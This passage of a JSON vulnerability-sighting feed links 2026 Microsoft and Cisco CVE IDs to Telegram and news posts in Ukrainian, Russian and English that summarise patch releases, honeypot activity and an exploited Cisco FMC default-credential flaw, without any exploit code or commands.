\u0456\u043d\u0441\u0442\u0430\u043b\u044f\u0448\u043a\u0438 \u0432\u0456\u043d\u0434\u0438\n\nCVE-2026-20817 - \u0432\u0456\u0434\u043d\u043e\u0441\u0438\u0442\u044c\u0441\u044f \u0434\u043e \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430 Windows Error Reporting (WER)\n\nCVE-2026-20820 - Windows Common Log File System Driver\n\nCVE-2026-20843 - \u0432\u043f\u043b\u0438\u0432\u0430\u0454 \u043d\u0430 Windows Routing and Remote Access Service\n\nCVE-2026-20860 - Windows Ancillary Function Driver for WinSock \n\n CVE-2026-20871 - Desktop Window Manager", "creation_timestamp": "2026-07-21T00:00:22.330685Z"}, {"uuid": "8eccf2a5-043c-4eb7-9923-aa15b4ecb93e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20817", "type": "seen", "source": "https://t.me/RMRFgroup/292", "content": "Microsoft \"\u0447\u0443\u0434\u043e\u0432\u043e\" \u043f\u043e\u0447\u0430\u043b\u0430 \u0440\u0456\u043a: \u0442\u0440\u0456\u0448\u043a\u0438 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0435\u0439 \u043d\u0443\u043b\u044c\u043e\u0432\u043e\u0433\u043e \u0434\u043d\u044f, \u0430 \u0449\u0435 \u0434\u0435\u043a\u0456\u043b\u044c\u043a\u0430 \u043f\u043e\u0434\u0430\u0440\u0443\u043d\u043a\u0456\u0432 \u043c\u0435\u043d\u0448\u043e\u0433\u043e \u0440\u043e\u0437\u043c\u0456\u0440\u0443 (100+)\n\n\u0417\u0430\u0433\u0430\u043b\u043e\u043c \u0437\u0430\u0444\u0456\u043a\u0441\u043e\u0432\u0430\u043d\u043e 112 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0435\u0439 (\u0432\u0434\u0432\u0456\u0447\u0456 \u0431\u0456\u043b\u044c\u0448\u0435 \u043d\u0456\u0436 \u0437\u0430 \u0433\u0440\u0443\u0434\u0435\u043d\u044c), \u0431\u0456\u043b\u044c\u0448\u0456\u0441\u0442\u044c, \u044f\u043a\u0449\u043e \u043d\u0435 \u0432\u0441\u0456, \u0432\u0438\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0456 \u0432 \u043f\u0430\u0442\u0447\u0456. \u0421\u0435\u0440\u0435\u0434 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0435\u0439, \u043d\u0430\u043f\u0440\u0438\u043a\u043b\u0430\u0434 \u0454 CVE-2026-20805 (CVSS score: 5.5) - \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u0456\u0441\u0442\u044c \u043d\u0443\u043b\u044c\u043e\u0432\u043e\u0433\u043e \u0434\u043d\u044f \u0432 Desktop Window Manager (DWM), \u044f\u043a\u0430 \u0434\u043e\u0437\u0432\u043e\u043b\u044f\u0454 \u0432\u0438\u043a\u043e\u043d\u0443\u0432\u0430\u0442\u0438 \u043a\u043e\u0434 \u0437\u0430\u0432\u0434\u044f\u043a\u0438 \u0432\u0438\u0442\u043e\u043a\u0443 \u043f\u0430\u043c'\u044f\u0442\u0456. DWM \u0432\u0456\u0434\u043f\u043e\u0432\u0456\u0434\u0430\u0454 \u0437\u0430 \u0442\u0435, \u044f\u043a \u0432\u0438\u0433\u043b\u044f\u0434\u0430\u044e\u0442\u044c \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u0438 \u043d\u0430 \u0435\u043a\u0440\u0430\u043d\u0456, \u0456 \u0445\u043e\u0447\u0430 Microsoft \u043e\u0446\u0456\u043d\u044e\u0454 \u0457\u0457 \u043d\u0435 \u0434\u0443\u0436\u0435 \u0432\u0438\u0441\u043e\u043a\u043e, \u0430\u043b\u0435 \u0432\u043e\u043d\u0430, \u0440\u0430\u0437\u043e\u043c \u0437 \u0443\u0441\u0456\u043c\u0430 \u0456\u043d\u0448\u0438\u043c\u0438 \u0434\u0438\u0440\u043a\u0430\u043c\u0438,  \u043c\u043e\u0436\u0435 \u0434\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u0438 \u043e\u0442\u0440\u0438\u043c\u0430\u0442\u0438 \u0431\u0430\u0436\u0430\u043d\u0438\u0439 \u0434\u043e\u0441\u0442\u0443\u043f\n\nMicrosoft \u0442\u0430\u043a\u043e\u0436 \u043d\u0430\u0437\u0438\u0432\u0430\u0454 \u0449\u0435 8 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0435\u0439, \u043a\u043e\u0436\u043d\u0456\u0439 \u0437 \u044f\u043a\u0438\u0445 \u043f\u0440\u0438\u0441\u0432\u043e\u0454\u043d\u043e \u0440\u0435\u0439\u0442\u0438\u043d\u0433 7.8:\n\n CVE-2026-20840 \u0456 CVE-2026-20922 - \u043f\u0435\u0440\u0435\u043f\u043e\u0432\u043d\u0435\u043d\u043d\u044f \u0431\u0443\u0444\u0435\u0440\u0430\n\nCVE-2026-20816 - \u0441\u0442\u043e\u0441\u0443\u0454\u0442\u044c\u0441\u044f \u0456\u043d\u0441\u0442\u0430\u043b\u044f\u0448\u043a\u0438 \u0432\u0456\u043d\u0434\u0438\n\nCVE-2026-20817 - \u0432\u0456\u0434\u043d\u043e\u0441\u0438\u0442\u044c\u0441\u044f \u0434\u043e \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430 Windows Error Reporting (WER)\n\nCVE-2026-20820 - Windows Common Log File System Driver\n\nCVE-2026-20843 - \u0432\u043f\u043b\u0438\u0432\u0430\u0454 \u043d\u0430 Windows Routing and Remote Access Service\n\nCVE-2026-20860 - Windows Ancillary Function Driver for WinSock \n\n CVE-2026-20871 - Desktop Window Manager", "creation_timestamp": "2026-07-21T00:00:22.357992Z"}, {"uuid": "3873db86-521b-4a78-8795-ad8ad1100f22", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20820", "type": "seen", "source": "https://t.me/RMRFgroup/292", "content": "Microsoft \"\u0447\u0443\u0434\u043e\u0432\u043e\" \u043f\u043e\u0447\u0430\u043b\u0430 \u0440\u0456\u043a: \u0442\u0440\u0456\u0448\u043a\u0438 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0435\u0439 \u043d\u0443\u043b\u044c\u043e\u0432\u043e\u0433\u043e \u0434\u043d\u044f, \u0430 \u0449\u0435 \u0434\u0435\u043a\u0456\u043b\u044c\u043a\u0430 \u043f\u043e\u0434\u0430\u0440\u0443\u043d\u043a\u0456\u0432 \u043c\u0435\u043d\u0448\u043e\u0433\u043e \u0440\u043e\u0437\u043c\u0456\u0440\u0443 (100+)\n\n\u0417\u0430\u0433\u0430\u043b\u043e\u043c \u0437\u0430\u0444\u0456\u043a\u0441\u043e\u0432\u0430\u043d\u043e 112 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0435\u0439 (\u0432\u0434\u0432\u0456\u0447\u0456 \u0431\u0456\u043b\u044c\u0448\u0435 \u043d\u0456\u0436 \u0437\u0430 \u0433\u0440\u0443\u0434\u0435\u043d\u044c), \u0431\u0456\u043b\u044c\u0448\u0456\u0441\u0442\u044c, \u044f\u043a\u0449\u043e \u043d\u0435 \u0432\u0441\u0456, \u0432\u0438\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0456 \u0432 \u043f\u0430\u0442\u0447\u0456. \u0421\u0435\u0440\u0435\u0434 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0435\u0439, \u043d\u0430\u043f\u0440\u0438\u043a\u043b\u0430\u0434 \u0454 CVE-2026-20805 (CVSS score: 5.5) - \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u0456\u0441\u0442\u044c \u043d\u0443\u043b\u044c\u043e\u0432\u043e\u0433\u043e \u0434\u043d\u044f \u0432 Desktop Window Manager (DWM), \u044f\u043a\u0430 \u0434\u043e\u0437\u0432\u043e\u043b\u044f\u0454 \u0432\u0438\u043a\u043e\u043d\u0443\u0432\u0430\u0442\u0438 \u043a\u043e\u0434 \u0437\u0430\u0432\u0434\u044f\u043a\u0438 \u0432\u0438\u0442\u043e\u043a\u0443 \u043f\u0430\u043c'\u044f\u0442\u0456. DWM \u0432\u0456\u0434\u043f\u043e\u0432\u0456\u0434\u0430\u0454 \u0437\u0430 \u0442\u0435, \u044f\u043a \u0432\u0438\u0433\u043b\u044f\u0434\u0430\u044e\u0442\u044c \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u0438 \u043d\u0430 \u0435\u043a\u0440\u0430\u043d\u0456, \u0456 \u0445\u043e\u0447\u0430 Microsoft \u043e\u0446\u0456\u043d\u044e\u0454 \u0457\u0457 \u043d\u0435 \u0434\u0443\u0436\u0435 \u0432\u0438\u0441\u043e\u043a\u043e, \u0430\u043b\u0435 \u0432\u043e\u043d\u0430, \u0440\u0430\u0437\u043e\u043c \u0437 \u0443\u0441\u0456\u043c\u0430 \u0456\u043d\u0448\u0438\u043c\u0438 \u0434\u0438\u0440\u043a\u0430\u043c\u0438,  \u043c\u043e\u0436\u0435 \u0434\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u0438 \u043e\u0442\u0440\u0438\u043c\u0430\u0442\u0438 \u0431\u0430\u0436\u0430\u043d\u0438\u0439 \u0434\u043e\u0441\u0442\u0443\u043f\n\nMicrosoft \u0442\u0430\u043a\u043e\u0436 \u043d\u0430\u0437\u0438\u0432\u0430\u0454 \u0449\u0435 8 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0435\u0439, \u043a\u043e\u0436\u043d\u0456\u0439 \u0437 \u044f\u043a\u0438\u0445 \u043f\u0440\u0438\u0441\u0432\u043e\u0454\u043d\u043e \u0440\u0435\u0439\u0442\u0438\u043d\u0433 7.8:\n\n CVE-2026-20840 \u0456 CVE-2026-20922 - \u043f\u0435\u0440\u0435\u043f\u043e\u0432\u043d\u0435\u043d\u043d\u044f \u0431\u0443\u0444\u0435\u0440\u0430\n\nCVE-2026-20816 - \u0441\u0442\u043e\u0441\u0443\u0454\u0442\u044c\u0441\u044f \u0456\u043d\u0441\u0442\u0430\u043b\u044f\u0448\u043a\u0438 \u0432\u0456\u043d\u0434\u0438\n\nCVE-2026-20817 - \u0432\u0456\u0434\u043d\u043e\u0441\u0438\u0442\u044c\u0441\u044f \u0434\u043e \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430 Windows Error Reporting (WER)\n\nCVE-2026-20820 - Windows Common Log File System Driver\n\nCVE-2026-20843 - \u0432\u043f\u043b\u0438\u0432\u0430\u0454 \u043d\u0430 Windows Routing and Remote Access Service\n\nCVE-2026-20860 - Windows Ancillary Function Driver for WinSock \n\n CVE-2026-20871 - Desktop Window Manager", "creation_timestamp": "2026-07-21T00:00:22.386974Z"}, {"uuid": "f6628fc3-7a6d-4b2d-bc29-780d087c41a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20816", "type": "seen", "source": "https://t.me/RMRFgroup/292", "content": "Microsoft \"\u0447\u0443\u0434\u043e\u0432\u043e\" \u043f\u043e\u0447\u0430\u043b\u0430 \u0440\u0456\u043a: \u0442\u0440\u0456\u0448\u043a\u0438 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0435\u0439 \u043d\u0443\u043b\u044c\u043e\u0432\u043e\u0433\u043e \u0434\u043d\u044f, \u0430 \u0449\u0435 \u0434\u0435\u043a\u0456\u043b\u044c\u043a\u0430 \u043f\u043e\u0434\u0430\u0440\u0443\u043d\u043a\u0456\u0432 \u043c\u0435\u043d\u0448\u043e\u0433\u043e \u0440\u043e\u0437\u043c\u0456\u0440\u0443 (100+)\n\n\u0417\u0430\u0433\u0430\u043b\u043e\u043c \u0437\u0430\u0444\u0456\u043a\u0441\u043e\u0432\u0430\u043d\u043e 112 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0435\u0439 (\u0432\u0434\u0432\u0456\u0447\u0456 \u0431\u0456\u043b\u044c\u0448\u0435 \u043d\u0456\u0436 \u0437\u0430 \u0433\u0440\u0443\u0434\u0435\u043d\u044c), \u0431\u0456\u043b\u044c\u0448\u0456\u0441\u0442\u044c, \u044f\u043a\u0449\u043e \u043d\u0435 \u0432\u0441\u0456, \u0432\u0438\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0456 \u0432 \u043f\u0430\u0442\u0447\u0456. \u0421\u0435\u0440\u0435\u0434 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0435\u0439, \u043d\u0430\u043f\u0440\u0438\u043a\u043b\u0430\u0434 \u0454 CVE-2026-20805 (CVSS score: 5.5) - \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u0456\u0441\u0442\u044c \u043d\u0443\u043b\u044c\u043e\u0432\u043e\u0433\u043e \u0434\u043d\u044f \u0432 Desktop Window Manager (DWM), \u044f\u043a\u0430 \u0434\u043e\u0437\u0432\u043e\u043b\u044f\u0454 \u0432\u0438\u043a\u043e\u043d\u0443\u0432\u0430\u0442\u0438 \u043a\u043e\u0434 \u0437\u0430\u0432\u0434\u044f\u043a\u0438 \u0432\u0438\u0442\u043e\u043a\u0443 \u043f\u0430\u043c'\u044f\u0442\u0456. DWM \u0432\u0456\u0434\u043f\u043e\u0432\u0456\u0434\u0430\u0454 \u0437\u0430 \u0442\u0435, \u044f\u043a \u0432\u0438\u0433\u043b\u044f\u0434\u0430\u044e\u0442\u044c \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u0438 \u043d\u0430 \u0435\u043a\u0440\u0430\u043d\u0456, \u0456 \u0445\u043e\u0447\u0430 Microsoft \u043e\u0446\u0456\u043d\u044e\u0454 \u0457\u0457 \u043d\u0435 \u0434\u0443\u0436\u0435 \u0432\u0438\u0441\u043e\u043a\u043e, \u0430\u043b\u0435 \u0432\u043e\u043d\u0430, \u0440\u0430\u0437\u043e\u043c \u0437 \u0443\u0441\u0456\u043c\u0430 \u0456\u043d\u0448\u0438\u043c\u0438 \u0434\u0438\u0440\u043a\u0430\u043c\u0438,  \u043c\u043e\u0436\u0435 \u0434\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u0438 \u043e\u0442\u0440\u0438\u043c\u0430\u0442\u0438 \u0431\u0430\u0436\u0430\u043d\u0438\u0439 \u0434\u043e\u0441\u0442\u0443\u043f\n\nMicrosoft \u0442\u0430\u043a\u043e\u0436 \u043d\u0430\u0437\u0438\u0432\u0430\u0454 \u0449\u0435 8 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0435\u0439, \u043a\u043e\u0436\u043d\u0456\u0439 \u0437 \u044f\u043a\u0438\u0445 \u043f\u0440\u0438\u0441\u0432\u043e\u0454\u043d\u043e \u0440\u0435\u0439\u0442\u0438\u043d\u0433 7.8:\n\n CVE-2026-20840 \u0456 CVE-2026-20922 - \u043f\u0435\u0440\u0435\u043f\u043e\u0432\u043d\u0435\u043d\u043d\u044f \u0431\u0443\u0444\u0435\u0440\u0430\n\nCVE-2026-20816 - \u0441\u0442\u043e\u0441\u0443\u0454\u0442\u044c\u0441\u044f \u0456\u043d\u0441\u0442\u0430\u043b\u044f\u0448\u043a\u0438 \u0432\u0456\u043d\u0434\u0438\n\nCVE-2026-20817 - \u0432\u0456\u0434\u043d\u043e\u0441\u0438\u0442\u044c\u0441\u044f \u0434\u043e \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430 Windows Error Reporting (WER)\n\nCVE-2026-20820 - Windows Common Log File System Driver\n\nCVE-2026-20843 - \u0432\u043f\u043b\u0438\u0432\u0430\u0454 \u043d\u0430 Windows Routing and Remote Access Service\n\nCVE-2026-20860 - Windows Ancillary Function Driver for WinSock \n\n CVE-2026-20871 - Desktop Window Manager", "creation_timestamp": "2026-07-21T00:00:22.414896Z"}, {"uuid": "4c13cd23-011b-413d-84e7-f5321f16df35", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20840", "type": "seen", "source": "https://t.me/RMRFgroup/292", "content": "Microsoft \"\u0447\u0443\u0434\u043e\u0432\u043e\" \u043f\u043e\u0447\u0430\u043b\u0430 \u0440\u0456\u043a: \u0442\u0440\u0456\u0448\u043a\u0438 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0435\u0439 \u043d\u0443\u043b\u044c\u043e\u0432\u043e\u0433\u043e \u0434\u043d\u044f, \u0430 \u0449\u0435 \u0434\u0435\u043a\u0456\u043b\u044c\u043a\u0430 \u043f\u043e\u0434\u0430\u0440\u0443\u043d\u043a\u0456\u0432 \u043c\u0435\u043d\u0448\u043e\u0433\u043e \u0440\u043e\u0437\u043c\u0456\u0440\u0443 (100+)\n\n\u0417\u0430\u0433\u0430\u043b\u043e\u043c \u0437\u0430\u0444\u0456\u043a\u0441\u043e\u0432\u0430\u043d\u043e 112 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0435\u0439 (\u0432\u0434\u0432\u0456\u0447\u0456 \u0431\u0456\u043b\u044c\u0448\u0435 \u043d\u0456\u0436 \u0437\u0430 \u0433\u0440\u0443\u0434\u0435\u043d\u044c), \u0431\u0456\u043b\u044c\u0448\u0456\u0441\u0442\u044c, \u044f\u043a\u0449\u043e \u043d\u0435 \u0432\u0441\u0456, \u0432\u0438\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0456 \u0432 \u043f\u0430\u0442\u0447\u0456. \u0421\u0435\u0440\u0435\u0434 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0435\u0439, \u043d\u0430\u043f\u0440\u0438\u043a\u043b\u0430\u0434 \u0454 CVE-2026-20805 (CVSS score: 5.5) - \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u0456\u0441\u0442\u044c \u043d\u0443\u043b\u044c\u043e\u0432\u043e\u0433\u043e \u0434\u043d\u044f \u0432 Desktop Window Manager (DWM), \u044f\u043a\u0430 \u0434\u043e\u0437\u0432\u043e\u043b\u044f\u0454 \u0432\u0438\u043a\u043e\u043d\u0443\u0432\u0430\u0442\u0438 \u043a\u043e\u0434 \u0437\u0430\u0432\u0434\u044f\u043a\u0438 \u0432\u0438\u0442\u043e\u043a\u0443 \u043f\u0430\u043c'\u044f\u0442\u0456. DWM \u0432\u0456\u0434\u043f\u043e\u0432\u0456\u0434\u0430\u0454 \u0437\u0430 \u0442\u0435, \u044f\u043a \u0432\u0438\u0433\u043b\u044f\u0434\u0430\u044e\u0442\u044c \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u0438 \u043d\u0430 \u0435\u043a\u0440\u0430\u043d\u0456, \u0456 \u0445\u043e\u0447\u0430 Microsoft \u043e\u0446\u0456\u043d\u044e\u0454 \u0457\u0457 \u043d\u0435 \u0434\u0443\u0436\u0435 \u0432\u0438\u0441\u043e\u043a\u043e, \u0430\u043b\u0435 \u0432\u043e\u043d\u0430, \u0440\u0430\u0437\u043e\u043c \u0437 \u0443\u0441\u0456\u043c\u0430 \u0456\u043d\u0448\u0438\u043c\u0438 \u0434\u0438\u0440\u043a\u0430\u043c\u0438,  \u043c\u043e\u0436\u0435 \u0434\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u0438 \u043e\u0442\u0440\u0438\u043c\u0430\u0442\u0438 \u0431\u0430\u0436\u0430\u043d\u0438\u0439 \u0434\u043e\u0441\u0442\u0443\u043f\n\nMicrosoft \u0442\u0430\u043a\u043e\u0436 \u043d\u0430\u0437\u0438\u0432\u0430\u0454 \u0449\u0435 8 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0435\u0439, \u043a\u043e\u0436\u043d\u0456\u0439 \u0437 \u044f\u043a\u0438\u0445 \u043f\u0440\u0438\u0441\u0432\u043e\u0454\u043d\u043e \u0440\u0435\u0439\u0442\u0438\u043d\u0433 7.8:\n\n CVE-2026-20840 \u0456 CVE-2026-20922 - \u043f\u0435\u0440\u0435\u043f\u043e\u0432\u043d\u0435\u043d\u043d\u044f \u0431\u0443\u0444\u0435\u0440\u0430\n\nCVE-2026-20816 - \u0441\u0442\u043e\u0441\u0443\u0454\u0442\u044c\u0441\u044f \u0456\u043d\u0441\u0442\u0430\u043b\u044f\u0448\u043a\u0438 \u0432\u0456\u043d\u0434\u0438\n\nCVE-2026-20817 - \u0432\u0456\u0434\u043d\u043e\u0441\u0438\u0442\u044c\u0441\u044f \u0434\u043e \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430 Windows Error Reporting (WER)\n\nCVE-2026-20820 - Windows Common Log File System Driver\n\nCVE-2026-20843 - \u0432\u043f\u043b\u0438\u0432\u0430\u0454 \u043d\u0430 Windows Routing and Remote Access Service\n\nCVE-2026-20860 - Windows Ancillary Function Driver for WinSock \n\n CVE-2026-20871 - Desktop Window Manager", "creation_timestamp": "2026-07-21T00:00:22.441544Z"}, {"uuid": "8f8387a9-3cc6-4688-97fc-ad89e7856fa9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "Telegram/GI7OHSoaP1xIHuGqTAwHNKDcr8KU1Ad2nEwl-UcBa-gQJw", "content": "", "creation_timestamp": "2026-07-21T00:00:29.425951Z"}, {"uuid": "830a1a45-0716-4a8b-a3b4-0f7ef1c6aacb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://t.me/proxy_bar/3190", "content": "UPD to https://t.me/proxy_bar/3185 CVE-2026-20127\n *\n\u0412 Cisco SD-WAN honeypot \u043d\u0430\u0447\u0430\u043b\u0438 \u043c\u0430\u0441\u0441\u043e\u0432\u043e \u043f\u0440\u0438\u043b\u0435\u0442\u0430\u0442\u044c \u0432\u0435\u0431-\u0448\u0435\u043b\u043b\u044b.\n\u041c\u0430\u0445\u043e\u0432\u0438\u0447\u043e\u043a \u043a\u0440\u0443\u0442\u0438\u0442\u0441\u044f.", "creation_timestamp": "2026-07-21T00:00:24.719920Z"}, {"uuid": "3d8b169a-c6a5-4424-888e-ba136aa5bedf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20817", "type": "seen", "source": "https://t.me/proxy_bar/3156", "content": "\u041d\u0430\u0448\u0438 \u0441\u043d\u043e\u0432\u0430 \u0432 \u0433\u043e\u0440\u043e\u0434\u0435 \ud83c\udff4\u200d\u2620\ufe0f\n*\nCVE-2026-20817 - Windows Error Reporting (WER) ALPC Privilege Escalation\n*\nlets roll", "creation_timestamp": "2026-07-21T00:00:24.877464Z"}, {"uuid": "7df7c430-99f0-4c8a-b9f0-123d1c39490a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "Telegram/QkQGfXHJmhlUJ4Ok72ZW64yVSosDBVIcN9uDsRFq_Gn2BWo", "content": "", "creation_timestamp": "2026-07-21T00:00:35.599273Z"}, {"uuid": "b58d12a5-b295-45e7-b8d8-ebff68d1d6e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "Telegram/hIPenhe-vO-uZm0FZ9_PgTXttBSRhFyvx9XOlO5pcs6kI4c", "content": "", "creation_timestamp": "2026-07-21T00:00:36.097957Z"}, {"uuid": "09d11edf-6aa6-4e20-aaeb-d37a3db73b60", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2006", "type": "seen", "source": "Telegram/C68vAiOvcgG9lHVb6qKEs_n08CTf7FrBhGjNIOFUmmQPqw", "content": "", "creation_timestamp": "2026-07-21T00:00:29.648810Z"}, {"uuid": "b3709ff1-88d6-41ea-a8ac-2976f1b1b76b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "exploited", "source": "https://t.me/pphm_HackerNews/2380", "content": "\ud83d\udd34 Cisco Secure FMC Zero-Day Exploited in the Wild\n\nCisco on Wednesday announced patches for an actively exploited zero-day vulnerability affecting its Secure Firewall Management Center (FMC) product.\n\nThe security hole, tracked as CVE-2026-20316, has been described as a static credential issue. Specifically, an attacker can leverage default credentials for a low-privilege user account to log into vulnerable devices and access sensitive data.\n\nCisco assigned a \u2018high severity\u2019 rating to the vulnerability, noting that it can be chained with other FMC flaws to escalate privileges.\n\n\u201cIf the FMC management interface does not have public internet access, the attack surface that is associated with this vulnerability is reduced,\u201d Cisco said in its advisory.", "creation_timestamp": "2026-08-23T00:00:45.561510Z"}, {"uuid": "9a6c6bdf-8567-4613-9778-71d7e0c18c31", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20359", "type": "seen", "source": "https://t.me/true_secator/8535", "content": "\u041f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u043c \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0442\u044c \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0435 \u0438 \u0437\u043d\u0430\u0447\u0438\u043c\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u043d\u0438\u043c\u0438 \u0443\u0433\u0440\u043e\u0437\u044b:\n\n1. \u0417\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u0442\u0440\u0438 \u0433\u043e\u0434\u0430 Cloudflare \u043d\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430 \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u043e\u0432 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 Spectre \u0432 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0440\u0430\u0445. \u041d\u0435\u0434\u0430\u0432\u043d\u043e \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u043f\u0435\u0440\u0435\u0441\u043c\u043e\u0442\u0440\u0435\u043b\u0430 \u0441\u0432\u043e\u0438 \u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0430 \u0437\u0430\u0449\u0438\u0442\u044b \u0438 \u0432\u043d\u0435\u0434\u0440\u0438\u043b\u0430 \u043d\u043e\u0432\u044b\u0435 \u043c\u0435\u0440\u044b, \u0443\u0447\u0438\u0442\u044b\u0432\u0430\u044e\u0449\u0438\u0435 \u043d\u043e\u0432\u044b\u0435 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u0430\u0442\u0430\u043a Spectre.\n\n\u041e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u044f Dynamic Process Isolation, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0438\u0437\u043e\u043b\u0438\u0440\u0443\u0435\u0442 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0441\u043a\u0440\u0438\u043f\u0442\u044b \u0432 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b. \u0422\u0435\u043f\u0435\u0440\u044c \u043e\u043d\u0430 \u0442\u0430\u043a\u0436\u0435 \u0438\u0437\u043e\u043b\u0438\u0440\u0443\u0435\u0442 \u0434\u043b\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b \u0438 \u0440\u0435\u0441\u0443\u0440\u0441\u043e\u0435\u043c\u043a\u0438\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0432\u0432\u043e\u0434\u0430-\u0432\u044b\u0432\u043e\u0434\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440\u043d\u044b\u043c\u0438 